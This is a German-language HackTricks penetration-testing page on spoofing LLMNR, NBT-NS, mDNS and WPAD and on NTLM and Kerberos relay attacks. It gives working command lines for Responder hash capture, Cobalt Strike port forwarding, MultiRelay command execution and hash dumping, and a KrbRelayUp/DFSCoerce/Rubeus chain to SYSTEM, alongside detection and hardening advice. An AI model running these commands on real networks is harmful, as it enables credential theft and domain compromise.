hacktricks/src/generic-methodologies-and-resources/pentesting-network/spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md

# Spoofing LLMNR, NBT-NS, mDNS/DNS und WPAD und Relay-Angriffe

{{#include ../../banners/hacktricks-training.md}}

## Netzwerkprotokolle

### Lokale Hostauflösungsprotokolle

- **LLMNR, NBT-NS und mDNS**:
- Microsoft und andere Betriebssysteme verwenden LLMNR und NBT-NS zur lokalen Namensauflösung, wenn DNS fehlschlägt. Ähnlich verwenden Apple- und Linux-Systeme mDNS.
- Diese Protokolle sind aufgrund ihrer nicht authentifizierten, broadcast-natur über UDP anfällig für Abfangen und Spoofing.
- [Responder](https://github.com/lgandx/Responder) kann verwendet werden, um Dienste zu impersonifizieren, indem gefälschte Antworten an Hosts gesendet werden, die diese Protokolle abfragen.
- Weitere Informationen zur Dienstimpersonifizierung mit Responder finden Sie [hier](spoofing-llmnr-nbt-ns-mdns-dns-and-wpad-and-relay-attacks.md).

### Web Proxy Auto-Discovery Protocol (WPAD)

- WPAD ermöglicht es Browsern, Proxy-Einstellungen automatisch zu entdecken.
- Die Entdeckung erfolgt über DHCP, DNS oder Rückfall auf LLMNR und NBT-NS, wenn DNS fehlschlägt.
- Responder kann WPAD-Angriffe automatisieren und Clients zu bösartigen WPAD-Servern leiten.

### Responder für Protokollvergiftung

- **Responder** ist ein Tool, das zur Vergiftung von LLMNR-, NBT-NS- und mDNS-Abfragen verwendet wird, indem es selektiv basierend auf Abfragetypen antwortet, wobei hauptsächlich SMB-Dienste im Fokus stehen.
- Es ist vorinstalliert in Kali Linux und konfigurierbar unter `/etc/responder/Responder.conf`.
- Responder zeigt erfasste Hashes auf dem Bildschirm an und speichert sie im Verzeichnis `/usr/share/responder/logs`.
- Es unterstützt sowohl IPv4 als auch IPv6.
- Die Windows-Version von Responder ist [hier](https://github.com/lgandx/Responder-Windows) verfügbar.

#### Ausführen von Responder

- Um Responder mit den Standardeinstellungen auszuführen: `responder -I <Interface>`
- Für aggressiveres Scannen (mit potenziellen Nebenwirkungen): `responder -I <Interface> -P -r -v`
- Techniken zum Erfassen von NTLMv1-Herausforderungen/Antworten für einfacheres Knacken: `responder -I <Interface> --lm --disable-ess`
- WPAD-Impersoinierung kann aktiviert werden mit: `responder -I <Interface> --wpad`
- NetBIOS-Anfragen können auf die IP des Angreifers aufgelöst werden, und ein Authentifizierungsproxy kann eingerichtet werden: `responder.py -I <interface> -Pv`

### DHCP-Vergiftung mit Responder

- Das Spoofing von DHCP-Antworten kann die Routinginformationen eines Opfers dauerhaft vergiften und bietet eine stealthier Alternative zur ARP-Vergiftung.
- Es erfordert präzises Wissen über die Konfiguration des Zielnetzwerks.
- Angriff ausführen: `./Responder.py -I eth0 -Pdv`
- Diese Methode kann effektiv NTLMv1/2-Hashes erfassen, erfordert jedoch sorgfältige Handhabung, um Netzwerkunterbrechungen zu vermeiden.

### Erfassen von Anmeldeinformationen mit Responder

- Responder wird Dienste impersonifizieren, die die oben genannten Protokolle verwenden, und Anmeldeinformationen (normalerweise NTLMv2 Challenge/Response) erfassen, wenn ein Benutzer versucht, sich gegen die gefälschten Dienste zu authentifizieren.
- Es können Versuche unternommen werden, auf NetNTLMv1 herabzustufen oder ESS zu deaktivieren, um das Knacken von Anmeldeinformationen zu erleichtern.

Es ist wichtig zu beachten, dass der Einsatz dieser Techniken legal und ethisch erfolgen sollte, wobei die ordnungsgemäße Autorisierung sichergestellt und Störungen oder unbefugter Zugriff vermieden werden sollten.

## Inveigh

Inveigh ist ein Tool für Penetrationstester und Red Teamer, das für Windows-Systeme entwickelt wurde. Es bietet Funktionen ähnlich wie Responder und führt Spoofing- und Man-in-the-Middle-Angriffe durch. Das Tool hat sich von einem PowerShell-Skript zu einer C#-Binärdatei entwickelt, mit [**Inveigh**](https://github.com/Kevin-Robertson/Inveigh) und [**InveighZero**](https://github.com/Kevin-Robertson/InveighZero) als den Hauptversionen. Detaillierte Parameter und Anweisungen finden Sie im [**Wiki**](https://github.com/Kevin-Robertson/Inveigh/wiki/Parameters).

Inveigh kann über PowerShell betrieben werden:
```bash
Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y
```
Oder als C#-Binary ausgeführt:
```bash
Inveigh.exe
```
### NTLM Relay Angriff

Dieser Angriff nutzt SMB-Authentifizierungssitzungen, um auf eine Zielmaschine zuzugreifen, und gewährt eine System-Shell, wenn er erfolgreich ist. Wichtige Voraussetzungen sind:

- Der authentifizierende Benutzer muss lokalen Admin-Zugriff auf den weitergeleiteten Host haben.
- SMB-Signierung sollte deaktiviert sein.

#### 445 Port-Weiterleitung und Tunneling

In Szenarien, in denen eine direkte Netzwerkverbindung nicht möglich ist, muss der Verkehr auf Port 445 weitergeleitet und getunnelt werden. Tools wie [**PortBender**](https://github.com/praetorian-inc/PortBender) helfen dabei, den Verkehr auf Port 445 auf einen anderen Port umzuleiten, was entscheidend ist, wenn lokaler Admin-Zugriff für das Laden von Treibern verfügbar ist.

PortBender-Setup und -Betrieb in Cobalt Strike:
```bash
Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop
```
### Andere Werkzeuge für NTLM Relay-Angriffe

- **Metasploit**: Mit Proxys, lokalen und entfernten Hostdetails eingerichtet.
- **smbrelayx**: Ein Python-Skript zum Relaying von SMB-Sitzungen und Ausführen von Befehlen oder Bereitstellen von Backdoors.
- **MultiRelay**: Ein Werkzeug aus der Responder-Suite, um bestimmte Benutzer oder alle Benutzer zu relaying, Befehle auszuführen oder Hashes zu dumpen.

Jedes Werkzeug kann so konfiguriert werden, dass es bei Bedarf über einen SOCKS-Proxy arbeitet, was Angriffe selbst bei indirektem Netzwerkzugang ermöglicht.

### MultiRelay-Betrieb

MultiRelay wird aus dem _**/usr/share/responder/tools**_ Verzeichnis ausgeführt, wobei spezifische IPs oder Benutzer angevisiert werden.
```bash
python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic
```
Diese Tools und Techniken bilden ein umfassendes Set für die Durchführung von NTLM Relay-Angriffen in verschiedenen Netzwerkumgebungen.

### NTLM-Logins erzwingen

In Windows **könnten Sie in der Lage sein, einige privilegierte Konten zu zwingen, sich an beliebigen Maschinen zu authentifizieren**. Lesen Sie die folgende Seite, um zu erfahren, wie:


{{#ref}}
../../windows-hardening/active-directory-methodology/printers-spooler-service-abuse.md
{{#endref}}

## Kerberos Relay-Angriff

Ein **Kerberos Relay-Angriff** stiehlt ein **AP-REQ-Ticket** von einem Dienst und verwendet es erneut gegen einen zweiten Dienst, der den **gleichen Computer-Kontenschlüssel** teilt (da beide SPNs auf demselben `$` Maschinenkonto sitzen). Dies funktioniert, obwohl die **Dienstklassen der SPNs unterschiedlich sind** (z. B. `CIFS/` → `LDAP/`), da der *Schlüssel*, der das Ticket entschlüsselt, der NT-Hash der Maschine ist, nicht der SPN-String selbst, und der SPN-String kein Teil der Signatur ist.

Im Gegensatz zum NTLM-Relay ist der Sprung auf den *gleichen Host* beschränkt, aber wenn Sie ein Protokoll anvisieren, das es Ihnen ermöglicht, in LDAP zu schreiben, können Sie in die **ressourcenbasierte eingeschränkte Delegation (RBCD)** oder **AD CS-Registrierung** einsteigen und **NT AUTHORITY\SYSTEM** in einem einzigen Schritt übernehmen.

Für detaillierte Informationen zu diesem Angriff überprüfen Sie:

- [https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html](https://googleprojectzero.blogspot.com/2021/10/using-kerberos-for-authentication-relay.html)
- [https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/](https://decoder.cloud/2025/04/24/from-ntlm-relay-to-kerberos-relay-everything-you-need-to-know/)

- 1. **Kerberos-Grundlagen**

| Token | Zweck | Relevanz für Relay |
|-------|---------|-----------------|
| **TGT / AS-REQ ↔ REP** | Beweist den Benutzer gegenüber dem KDC | unberührt |
| **Dienstticket / TGS-REQ ↔ REP** | An ein **SPN** gebunden; mit dem Schlüssel des SPN-Eigentümers verschlüsselt | austauschbar, wenn SPNs das Konto teilen |
| **AP-REQ** | Client sendet `TGS` an den Dienst | **was wir stehlen & wiedergeben** |

* Tickets sind mit dem **passwortabgeleiteten Schlüssel des Kontos, das das SPN besitzt**, verschlüsselt.
* Der **Authenticator** im AP-REQ hat einen Zeitstempel von 5 Minuten; die Wiederholung innerhalb dieses Fensters ist gültig, bis der Dienstcache ein Duplikat sieht.
* Windows überprüft selten, ob der SPN-String im Ticket mit dem Dienst übereinstimmt, den Sie ansprechen, sodass ein Ticket für `CIFS/HOST` normalerweise problemlos auf `LDAP/HOST` entschlüsselt wird.

- 2. **Was muss wahr sein, um Kerberos zu relayen**

1. **Geteilter Schlüssel:** Quell- und Ziel-SPNs gehören zum selben Computer-Konto (Standard auf Windows-Servern).
2. **Kein Kanal-Schutz:** SMB/LDAP-Signierung deaktiviert und EPA für HTTP/LDAPS deaktiviert.
3. **Sie können die Authentifizierung abfangen oder zwingen:** LLMNR/NBNS-Poisoning, DNS-Spoofing, **PetitPotam / DFSCoerce RPC**, gefälschter AuthIP, bösartiges DCOM usw.
4. **Ticketquelle nicht bereits verwendet:** Sie gewinnen das Rennen, bevor das echte Paket ankommt oder blockieren es vollständig; andernfalls wird der Replay-Cache des Servers Event 4649 auslösen.
5. Sie müssen irgendwie in der Lage sein, ein **MitM in der Kommunikation** durchzuführen, möglicherweise indem Sie Teil der DNSAmins-Gruppe sind, um die DNS des Domäne zu ändern oder die HOST-Datei des Opfers zu ändern.

### Kerberos Relay Schritte

- 3.1 **Recon den Host**
```powershell
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
```
- 3.2 **Starte den Relay-Listener**

[KrbRelayUp](https://github.com/Dec0ne/KrbRelayUp)
```powershell
# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8
```
`KrbRelayUp` bündelt **KrbRelay → LDAP → RBCD → Rubeus → SCM-Bypass** in einer Binärdatei.

- 3.3 **Kerberos-Authentifizierung erzwingen**
```powershell
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50
```
DFSCoerce lässt den DC ein Kerberos `CIFS/DC01` Ticket an uns senden.

- 3.4 **Leite die AP-REQ weiter**

KrbRelay extrahiert den GSS-BLOB aus SMB, verpackt ihn in einen LDAP-Bind und leitet ihn an `ldap://DC01` weiter – die Authentifizierung gelingt, weil der **gleiche Schlüssel** ihn entschlüsselt.

- 3.5 **Missbrauche LDAP ➜ RBCD ➜ SYSTEM**
```powershell
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe
```
You now own **NT AUTHORITY\SYSTEM**.

### **Weitere Wege, die es wert sind, bekannt zu sein**

| Vektor | Trick | Warum es wichtig ist |
|--------|-------|---------------------|
| **AuthIP / IPSec** | Falscher Server sendet eine **GSS-ID-Nutzlast** mit beliebigem SPN; Client baut eine AP-REQ direkt zu dir | Funktioniert sogar über Subnetze; Maschinenanmeldeinformationen standardmäßig |
| **DCOM / MSRPC** | Bösartiger OXID-Resolver zwingt den Client, sich bei beliebigem SPN und Port zu authentifizieren | Reine *lokale* Privilegieneskalation; umgeht die Firewall |
| **AD CS Web Enroll** | Relay-Maschinen-Ticket an `HTTP/CA` und erhalte ein Zertifikat, dann **PKINIT**, um TGTs zu erstellen | Umgeht LDAP-Signierungsabwehr |
| **Shadow Credentials** | Schreibe `msDS-KeyCredentialLink`, dann PKINIT mit gefälschtem Schlüsselpaar | Keine Notwendigkeit, ein Computer-Konto hinzuzufügen |

### **Fehlerbehebung**

| Fehler | Bedeutung | Lösung |
|-------|---------|-----|
| `KRB_AP_ERR_MODIFIED` | Ticket-Schlüssel ≠ Ziel-Schlüssel | Falscher Host/SPN |
| `KRB_AP_ERR_SKEW` | Uhrzeit > 5 Minuten Abweichung | Zeit synchronisieren oder `w32tm` verwenden |
| LDAP-Bindung schlägt fehl | Signierung durchgesetzt | Verwende AD CS-Pfad oder deaktiviere die Signierung |
| Event 4649 Spam | Dienst sah doppelten Authenticator | blockiere oder überhole das ursprüngliche Paket |

### **Erkennung**

* Anstieg von **Event 4769** für `CIFS/`, `HTTP/`, `LDAP/` aus derselben Quelle innerhalb von Sekunden.
* **Event 4649** im Dienst zeigt an, dass ein Replay erkannt wurde.
* Kerberos-Anmeldung von **127.0.0.1** (Relay zu lokalem SCM) ist sehr verdächtig—über die Sigma-Regel in den KrbRelayUp-Dokumenten abbilden.
* Achte auf Änderungen an den Attributen `msDS-AllowedToActOnBehalfOfOtherIdentity` oder `msDS-KeyCredentialLink`.

## **Härtung**

1. **Erzwinge LDAP- und SMB-Signierung + EPA** auf jedem Server.
2. **Teile SPNs** auf, sodass HTTP nicht im selben Konto wie CIFS/LDAP ist.
3. Patch-Coercion-Vektoren (PetitPotam KB5005413, DFS, AuthIP).
4. Setze **`ms-DS-MachineAccountQuota = 0`**, um unerwünschte Computeranmeldungen zu stoppen.
5. Alarmiere bei **Event 4649** und unerwarteten Loopback-Kerberos-Anmeldungen.

## Referenzen

- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/](https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/)
- [https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/](https://www.notsosecure.com/pwning-with-responder-a-pentesters-guide/)
- [https://intrinium.com/smb-relay-attack-tutorial/](https://intrinium.com/smb-relay-attack-tutorial/)
- [https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html](https://byt3bl33d3r.github.io/practical-guide-to-ntlm-relaying-in-2017-aka-getting-a-foothold-in-under-5-minutes.html)

{{#include ../../banners/hacktricks-training.md}}